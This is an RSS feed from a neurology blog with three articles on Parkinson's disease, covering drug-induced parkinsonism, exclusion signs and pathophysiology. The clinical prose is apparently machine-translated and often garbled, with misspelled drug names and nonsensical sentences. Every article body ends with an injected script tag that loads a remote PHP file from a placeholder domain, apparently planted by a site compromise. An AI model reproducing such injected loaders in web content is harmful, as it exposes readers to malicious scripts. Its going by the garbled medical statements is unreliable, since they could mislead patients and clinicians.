<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Neurology Diagnostics &#187; Diagnosis of Parkinson&#8217;s Disease</title>
	<atom:link href="http://www.neurodiagnosticdevices.com/tag/diagnosis-of-parkinsons-disease/feed" rel="self" type="application/rss+xml" />
	<link>http://www.neurodiagnosticdevices.com</link>
	<description>Discovering The Latest Update in Neurology Diagnostics</description>
	<lastBuildDate>Sun, 29 Jan 2012 11:45:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Parkinsonism Drug</title>
		<link>http://www.neurodiagnosticdevices.com/parkinsonism-drug.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/parkinsonism-drug.htm#comments</comments>
		<pubDate>Sat, 31 Jul 2010 06:00:41 +0000</pubDate>
		<dc:creator>Isabella Turner</dc:creator>
				<category><![CDATA[Parkinson's Disease]]></category>
		<category><![CDATA[Diagnosis of Parkinson's Disease]]></category>
		<category><![CDATA[neuroleptics]]></category>
		<category><![CDATA[Neurological diseases]]></category>
		<category><![CDATA[Neurological Disorders]]></category>
		<category><![CDATA[Neurology Diagnostics]]></category>
		<category><![CDATA[Parkinsonism Drug]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=147</guid>
		<description><![CDATA[The diagnosis of Parkinson&#8217;s disease should not be sure until it is known in detail all drugs that the patient, consciously or inadvertently, come take at the time of the query. It is well known that neuroleptics (phenothiazines, butyrophenones) may trigger events and parkinsonian tremor by blocking postsynaptic dopamine receptors in the striatum. The same [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://cmbi.bjmu.edu.cn/news/0307/Parkinson%27s%20drug%20may%20hasten%20Alzheimer%27s_files/drugs_180.jpg" alt="Parkinson's Drug" width="229" height="304" /><a href="http://www.neurodiagnosticdevices.com/category/parkinsons-disease">The diagnosis of Parkinson&#8217;s disease</a> should not be sure until it is known in detail all drugs that the patient, consciously or inadvertently, come take at the time of the query.</p>
<p>It is well known that <a href="http://www.neurodiagnosticdevices.com/">neuroleptics (phenothiazines, butyrophenones)</a> may trigger events and parkinsonian tremor by blocking postsynaptic dopamine receptors in the striatum. The same happens with the depleting dopamine (reserpine, tetrabenazine).</p>
<p>Selective blockers of calcium channels (cinnarizine, flunarizine), masked in various commercial preparations of routine administration can produce similar manifestations full or partial recovery in all patients after discontinuation of medication and within a variable.</p>
<p>Some authors argue that drug-induced parkinsonism may be a latent or subclinical parkinsonism revealed by antidopaminergic medication. It is noteworthy that late buccolingual dyskinesia caused by <a href="http://www.neurodiagnosticdevices.com/tag/parkinsons-disease">prolonged use of neuroleptics</a> may be associated with parkinsonian manifestations but hardly reason for misdiagnosis is the presence of stereotyped slow and continuous movements that occur in the lower face (lips , jaw and tongue).</p>
<p>The distal parts of the body and trunk tend to show small movements of flexion and extension, while the proximal muscles are not compromised. When the patient is standing may have repetitive movements of the lower extremities (go hard). The patient often develops secondary akathisia. It is assumed that tardive dyskinesia was given to a hypersensitivity of postsynaptic receptors for dopamine and its increased secretion secondary to blockade of these receptors.</p>
<p><span id="more-147"></span>In particular, nerve tracts and neural systems involved in the pathophysiology of the disease: the efferent fibers of the substantia nigra to the anterior horn cells of spinal cord, the substantia nigra receives numerous stimuli of various cortical regions and striatum inhibitory stimuli ; the efferent fibers pass from the front of the substantia nigra to the medial region of the globus pallidus, where stimuli are converted into impulses that are transmitted to the premotor cortex.</p>
<p>These circuits may explain the different symptoms of the disease. The akinesia may be explained by the lack of stimuli that regulate involuntary automatic movements, since the passage through the substantia nigra to the bone is altered. The stiffness is the result of hyperactivity, producing clumsy movements.</p>
<p>&#8220;The treatment of Parkinson&#8217;s disease is symptomatic. Levodopa combined with peripheral decarboxylase inhibitor is the most effective medicine. These are enzyme inhibitors carbidopa and benzeracida. By not crossing the blood brain barrier preventing thus, the metabolism of levodopa to dopamine outside the central nervous system, allowing a higher concentration of levodopa in the latter, favoring its conversion to dopamine in the striatum (JCFustinoni).<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/parkinsonism-drug.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Signs and Symptoms of Parkinson&#8217;s Disease</title>
		<link>http://www.neurodiagnosticdevices.com/signs-and-symptoms-of-parkinsons-disease.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/signs-and-symptoms-of-parkinsons-disease.htm#comments</comments>
		<pubDate>Thu, 29 Jul 2010 06:00:46 +0000</pubDate>
		<dc:creator>Isabella Turner</dc:creator>
				<category><![CDATA[Parkinson's Disease]]></category>
		<category><![CDATA[Diagnosis of Parkinson's Disease]]></category>
		<category><![CDATA[Neurological diseases]]></category>
		<category><![CDATA[Neurological Disorders]]></category>
		<category><![CDATA[Neurology Diagnostics]]></category>
		<category><![CDATA[Signs of Parkinson's Disease]]></category>
		<category><![CDATA[Symptoms of Parkinson's Disease]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=146</guid>
		<description><![CDATA[Part of parkinsonian patients develops, over time, subcortical dementia. Although the diagnosis of Parkinson&#8217;s disease is largely clinical, can take account of hyposmia (may precede up to 20 years to your appearance), positron emission tomography showing decrease of dopamine in the striatum, markers recently biological and electromyography to show subclinical tremor. An important chapter of [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://hscweb3.hsc.usf.edu/health/now/wp-content/uploads/zesiewicz-023-copy.jpg" alt="Parkinson's Disease" width="231" height="223" /><strong>Part of parkinsonian patients develops, over time, subcortical dementia.</strong></p>
<p>Although <a href="http://www.neurodiagnosticdevices.com/category/parkinsons-disease">the diagnosis of Parkinson&#8217;s disease</a> is largely clinical, can take account of hyposmia (may precede up to 20 years to your appearance), positron emission tomography showing decrease of dopamine in the striatum, markers recently biological and electromyography to<a href="http://www.neurodiagnosticdevices.com/"> show subclinical tremor</a>.</p>
<p>An important chapter of this issue is that of <a href="http://www.neurodiagnosticdevices.com/tag/parkinsons-disease">drug-induced parkinsonism</a>, which generally refers to the interruption but not always. Drugs that can induce are neuroleptics (phenothiazines, butyrophenones), depleting dopamine (reserpine, tetrabenazine) and calcium channel blockers (cinnarizine, flunarizine).</p>
<p>The clinician, before diagnosing Parkinson&#8217;s disease, should take into account the possibility cited in the preceding paragraph as well as a number of neurological disorders that are targets of specialized study.</p>
<p>Fustinoni (in Semiology Nervous System [1997]) says the following signs and symptoms exclude the diagnosis of Parkinson&#8217;s disease:</p>
<p><strong>Signs and Symptoms that exclude Parkinson</strong></p>
<p>l buccolingual dyskinesia (parkinsonism drug)</p>
<p>l hyperreflexia not justified by previous stroke (Vascular parkinsonism)</p>
<p>l pseudobulbar syndrome (vascular parkinsonism)</p>
<p>l or intentional tremor predominant attitude (Essential tremor)</p>
<p><span id="more-146"></span>l Paralysis of vertical gaze downward or lateral (Progressive supranuclear palsy)</p>
<p>l Early by gait disorders (Hakim-Adams syndrome)</p>
<p>l Early urinary incontinence (Hakim-Adams syndrome)</p>
<p>l marked orthostatic hypotension (Shy-Drager syndrome)</p>
<p>l Cognitive discordant severity or prominence in connection with rigidity, bradykinesia or tremor (DAT)</p>
<p>l oculogyric crisis (parkinsonism drug, posencefalítico)</p>
<p>Inhibition and excitation &#8211; dopamine and acetylcholine</p>
<p>In a normal brain, the levels of dopamine and acetylcholine, are in equilibrium and equal in their inhibitory and excitatory roles. When lower levels of dopamine, this balance is broken, because the acetylcholine begins to have an excess of excitatory activity, which causes Parkinson&#8217;s disease. Dopamine is found in the pars compacta of the substantia nigra and ignored the reasons why their neurons die and cease to keep the system balanced on the striatum.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/signs-and-symptoms-of-parkinsons-disease.htm/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Diagnosis of Parkinson&#8217;s Disease</title>
		<link>http://www.neurodiagnosticdevices.com/diagnosis-of-parkinsons-disease.htm</link>
		<comments>http://www.neurodiagnosticdevices.com/diagnosis-of-parkinsons-disease.htm#comments</comments>
		<pubDate>Thu, 15 Jul 2010 06:00:14 +0000</pubDate>
		<dc:creator>Isabella Turner</dc:creator>
				<category><![CDATA[Parkinson's Disease]]></category>
		<category><![CDATA[Diagnosis of Parkinson's Disease]]></category>
		<category><![CDATA[Neurological diseases]]></category>
		<category><![CDATA[Neurological Disorders]]></category>
		<category><![CDATA[Neurology Diagnostics]]></category>
		<category><![CDATA[neuronal degeneration]]></category>

		<guid isPermaLink="false">http://www.neurodiagnosticdevices.com/?p=137</guid>
		<description><![CDATA[It was James Parkinson who described the disease in 1817 under the name of paralysis agitans. &#8220;The etiology is unknown but pathophysiologically related to a deficiency of dopamine in the striatum, resulting from neuronal degeneration that mainly affects the compact zone of the substantia nigra (locus niger), the locus coeruleus and other properties in catecholamine-containing [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://files.prefabmarkets.com/images/parkinsons/doctor_patient_consult.jpg" alt="Parkinson's Diagnosis" width="230" height="249" />It was <a href="http://www.neurodiagnosticdevices.com/category/parkinsons-disease">James Parkinson </a>who described the disease in 1817 under the name of paralysis agitans. &#8220;The etiology is unknown but pathophysiologically related to a deficiency of dopamine in the striatum, resulting from<a href="http://www.neurodiagnosticdevices.com/"> neuronal degeneration </a>that mainly affects the compact zone of the substantia nigra (locus niger), the locus coeruleus and other properties in catecholamine-containing which are eosinophilic inclusions known as Lewy bodies &#8220;(JC Fustinoni).</p>
<p><a href="http://www.neurodiagnosticdevices.com/tag/parkinsons-disease">The extrapyramidal motor system</a> is the set of motor pathways that exert a major influence on spinal motor circuits, brain stem, cerebellum and cortex. Has fibers from the motor cortex that connect with the basal ganglia, particularly the caudate and putamen, as well as bulbar nuclei (red nucleus, substantia nigra and reticular formation) or midbrain and terminate in the anterior horn of the spinal cord.</p>
<p>Several hypotheses attribute the disease to genetic factors (genes have been identified as responsible mutants), metabolic (oxidative stress) or environmental (pesticides, aluminum). 10% of patients exhibit genetic predisposition. One out of every thousand people with the disease is less common in blacks and Japanese.</p>
<p>The onset of the disease is insidious and, retrospectively, patients may report having suffered from hyposmia, pain erratic confused as arthritic origin, dysesthesias burning sensations, depression, mental or seborrheic dermatitis, which can not always be taken into account as a prodrome.</p>
<p><span id="more-137"></span></p>
<p>The fall in the content of dopamine in the striatum will generate later, the symptoms suffered three out of four patients: resting tremor that typically is unilateral in its infancy (hands have made the movement of currencies .) In almost all cases the upper limbs are involved.</p>
<p>When will this disease progresses to muscle rigidity and bradykinesia (delay in the initiation of an involuntary movement or sudden inhibition during the same), the amimia and bradilalia. When walking there is a lack of arm swing.</p>
<p>Neurovegetative symptoms are also characteristic: seborrhea, excessive salivation, sweating, feeling hot, flushing.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurodiagnosticdevices.com/diagnosis-of-parkinsons-disease.htm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

